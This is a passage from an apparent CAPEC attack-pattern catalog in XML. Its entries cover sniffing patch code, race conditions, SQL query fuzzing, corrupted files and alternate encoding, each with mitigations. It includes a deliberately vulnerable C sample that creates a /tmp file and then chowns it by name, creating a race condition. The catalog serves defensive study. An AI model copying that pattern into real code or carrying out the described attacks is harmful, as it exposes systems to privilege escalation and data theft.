												<Security_Control_Description>Encrypt all
												communications between the server and
												client.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Capturing Application Code Bound During
											Patching</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Attacker receives notification that the
												computer/OS/application has an available update for
												patching, loads the sniffer set up during Explore
												phase, and extracts patching code from subsequent
												communication. The attacker then proceeds to reverse
												engineer the captured code.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Attacker loads the sniffer to capture the
												application code bound during patching.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker proceeds to reverse engineer
												the captured code. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The attacker can capture the application
												code bound for the target.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>The communication between the server and
												client is encrypted. The attacker may still
												possible to lift key material from the
												client.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker captures the
												application code bound for the target and reverse
												engineers the captured code.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Check the network
												interface (e.g., ifconfig) to detect the
												sniffer.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Encrypt all
												communications between the server and
												client.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker must be able to employ a sniffer in the path between the
						server and client without being detected. The targeted application must
						receive some patches from the server.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Low</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>In the following example, the attacker sets up a sniffer between a
							victim client and the server www.server.com. The attacker sniffs the
							traffic and captures the jar file during patching. The attacker reverse
							engineers it to gain sensitive information, such as encryption keys,
							validation algorithms and such.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker needs to setup a sniffer for a sufficient period of time
							so as to capture meaningful quantities of code. The presence of the
							sniffer should not be detected on the network.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker needs to reverse engineer the binary code if the need
							be.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The Attacker needs the ability to capture communications between the client
					and server during patching. In the case that encryption obscures client/server
					communication the attacker needs to lift key material from the client.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Encrypt all communication between the client and server.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Use SSL, SSH, SCP.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Operation: Use “ifconfig/ipconfig” or other tools to detect the sniffer
						installed in the network.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
					<Consequence_Note>
						<Text>Information Leakage</Text>
					</Consequence_Note>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data --></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>65<!--Passively Sniff and Capture Application Code Bound for Authorized Client--></Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/65.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
				<Purpose>Reconnaissance</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="26" Name="Leveraging Race Conditions" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets a race condition occurring when multiple processes
						access and manipulate the same resource concurrently and the outcome of the
						execution depends on the particular order in which the access takes place.
						The attacker can leverage a race condition by "running the race", modifying
						the resource and modifying the normal execution flow. For instance a race
						condition can occur while accessing a file, the attacker can trick the
						system by replacing the original file with his version and cause the system
						to read the malicious file.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker explores to gauge what level of
												access he has.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker gains access to a resource on the
												target host. The attacker modifies the targeted
												resource. The resource's value is used to determine
												the next normal execution action.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The resource is modified/checked concurrently by
												multiple processes. By using one of the processes,
												the attacker is able to modify the value just before
												it is consumed by a different process. A race
												condition occurs and is exploited by the Attacker to
												abuse the target host.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>A resource is accessed/modified concurrently by multiple processes such
						that a race condition exists.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The attacker has the ability to modify the resource.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Time and State</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The Net Direct client for Linux before 6.0.5 in Nortel Application
							Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and
							executes files with insecure permissions, which allows local users to
							exploit a race condition to replace a world-writable file in
							/tmp/NetClient and cause another user to execute arbitrary code when
							attempting to execute this client, as demonstrated by replacing
							/tmp/NetClient/client.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2007-1057</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The following code illustrates a file that is accessed multiple times
							by name in a publicly accessible directory. A race condition exists
							between the accesses where an attacker can replace the file referenced
							by the name.</Text>
						<Block>
							<Code>include &lt;sys/types.h&gt;</Code>
							<Code>include &lt;fcntl.h&gt;</Code>
							<Code>include &lt;unistd.h&gt;</Code>
							<Code/>
							<Code>define FILE "/tmp/myfile"</Code>
							<Code>define UID 100</Code>
							<Code/>
							<Code>void test(char *str)</Code>
							<Code>{</Code>
							<Block>
								<Code>int fd;</Code>
								<Code>fd = creat(FILE, 0644);</Code>
								<Code>if(fd == -1)</Code>
								<Block>
									<Code>return;</Code>
								</Block>
								<Code>chown(FILE, UID, -1); /* BAD */</Code>
								<Code>close(fd);</Code>
							</Block>
							<Code>}</Code>
							<Code/>
							<Code>int main(int argc, char **argv)</Code>
							<Code>{</Code>
							<Block>
								<Code>char *userstr;</Code>
								<Code>if(argc &gt; 1) {</Code>
								<Block>
									<Code>userstr = argv[1];</Code>
									<Code>test(userstr);</Code>
								</Block>
								<Code>}</Code>
								<Code>return 0;</Code>
							</Block>
							<Code>}</Code>
							<Code/>
							<Code>//Source : SAMATE.NIST.GOV :
								http://samate.nist.gov/SRD/view_testcase.php?login=Guest&amp;;tID=1598</Code>
						</Block>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Vulnerability testing tool can be used to probe for race
							condition.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The attacker may also look for temporary file creation. The attacker
							may tries to replace them and take advantage of a race condition.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use safe libraries to access resources such as files.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Be aware that improper use of access function calls such as chown(),
						tempfile(), chmod(), etc. can cause a race condition.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use synchronization to control the flow of execution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use static analysis tools to find race conditions.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Pay attention to concurrency problems related to the access of
						resources.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text/>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>368<!--Context Switching Race Condition--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>363<!--Race Condition Enabling Link Following--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>366<!--Race Condition within a Thread--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>370<!--Missing Check for Certificate Revocation after Initial Check--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>362<!--Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>662<!--Improper Synchronization--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>689<!--Permission Race Condition During Resource Copy--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>667<!--Improper Locking--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>665<!--Improper Initialization--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>172<!--Time and State Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Low</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Race Conditions</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Wikipedia, http://en.wikipedia.org/wiki/Race_condition</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>David Wheeler - Prevent race conditions -
							http://www-128.ibm.com/developerworks/linux/library/l-sprace.html</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>David Wheeler - Secure programming -
							http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eric Dalci</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-25</Submission_Date>
						<Submission_Comment/>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name,
							Description, Attack Flow and Attack Prerequisites</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="260"
			Name="Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Initial Distribution"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Hook" Status="Draft">
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>65<!--Passively Sniff and Capture Application Code Bound for Authorized Client--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="261"
			Name="Fuzzing for garnering (through web or log) other adjacent user/sensitive data as an authorized system user (overly broad but valid SQL queries)"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker who is authorized to send queries to a target sends variants
						of expected queries in the hope that these modified queries might return
						information (directly or indirectly through error logs) beyond what the
						expected set of queries should provide. Many client applications use
						specific query templates when interacting with a server and often
						automatically fill in specific fields or attributes. For example, a client
						that queries an employee database might have templates such that the user
						only supplies the target's name and the template dictates the fields to be
						returned (location, position in the company, phone number, etc.). If the
						server does not verify that the query matches one of the expected templates,
						an attacker who is allowed to send normal queries could modify their query
						to try to return additional information. In the above example, additional
						information might include social security numbers or salaries. Fuzzing
						techniques involve sending random or malformed messages to a target and
						monitoring the target's response. In this particular attack, the fuzzing is
						applied to the format of the expected templates, creating variants that
						request additional information, exclude limiting clauses, or alter fields
						that identify the requester in order to subvert access controls. The
						attacker may not know the names of fields to request or how other
						modifications will affect the server response, but by attempting multiple
						plausible variants, they might eventually trigger a server response that
						divulges sensitive information. Other possible outcomes include server
						crashes and resource consumption if the unexpected queries cause the server
						to enter an unstable state or perform excessive computation.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The server must assume that the queries it receives follow specific
						templates and/or have fields or attributes that follow specific procedures.
						The server must process queries that it receives without adequately checking
						or sanitizing queries to ensure they follow these templates.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must have sufficient priveleges to send queries to the targeted
					server. A normal client might limit the nature of these queries, so the attacker
					must either have a modified client or their own application which allows them to
					modify the expected queries.</Text>
			</Resources_Required>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>116<!--Data Excavation Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="263" Name="Force Use of Corrupted Files" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>This describes an attack where an application is forced to use a file that
						an attacker has corrupted. The result is often a denial of service caused by
						the application being unable to process the corrupted file, but other
						results, including the disabling of filters or access controls (if the
						application fails in an unsafe way rather than failing by locking down) or
						buffer overflows are possible. </Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted application must utilize a configuration file that an
						attacker is able to corrupt. In some cases, the attacker must be able to
						force the (re-)reading of the corrupted file if the file is normally only
						consulted at startup. </Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The severity of the attack hinges on how the application responds to the
						corrupted file. If the application detects the corruption and locks down,
						this may result in the denial of services provided by the application. If
						the application fails to detect the corruption, the result could be a more
						severe denial of service (crash or hang) or even an exploitable buffer
						overflow. If the application detects the corruption but fails in an unsafe
						way, this attack could result in the continuation of services but without
						certain security structures, such as filters or access controls. For
						example, if the corrupted file configures filters, an unsafe response from
						an application could result in simply disabling the filtering mechanisms due
						to the lack of usable configuration data.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>This varies depending on the resources necessary to corrupt the configuration
					file and the resources needed to force the application to re-read it (if
					any).</Text>
			</Resources_Required>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>165<!--File Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="264" Name="Environment variable manipulation" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>171<!--Variable Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="265" Name="Global variable manipulation" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>171<!--Variable Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="266" Name="Manipulate Canonicalization" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>153<!--Input Data Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="267" Name="Leverage Alternate Encoding" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack leverages the possibility to encode potentially harmful input
						and submit it to applications not expecting or effective at validating this
						encoding standard making input filtering difficult.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the application for
											user-controllable inputs:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser, an automated tool or by
												inspecting the application, an attacker records all
												entry points to the application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links and analyze the web pages to find entry
												points. Make special note of any links that
												include parameters in the URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all user input
												entry points visited during a manual traversal of
												the web application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browsers' plugins are available to facilitate the
												analysis or automate the discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Manually inspect the application to find
												entry points.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Inputs are used by the application or the
												browser (DOM)</Text>
												</Indicator_Description>
												<Environments>env-All env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Using URL rewriting, parameters may be part
												of the URL path.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear to be used by the
												application. Even though none appear, the
												application may still use them if they are
												provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Inconclusive">
												<Indicator_Description>
												<Text>No inputs seem to be used by the
												application. They might still be provided to
												another component (web service, database, system
												call, etc.).</Text>
												</Indicator_Description>
												<Environments>env-All env-Web</Environments>
											</Indicator>
											<Indicator ID="5" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of entry points (URL,
												parameters, configuration files, etc.) is created
												by the attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>A list of resources accessed by
												the application is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use CAPTCHA to prevent
												the use of the application by an automated
												tool.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
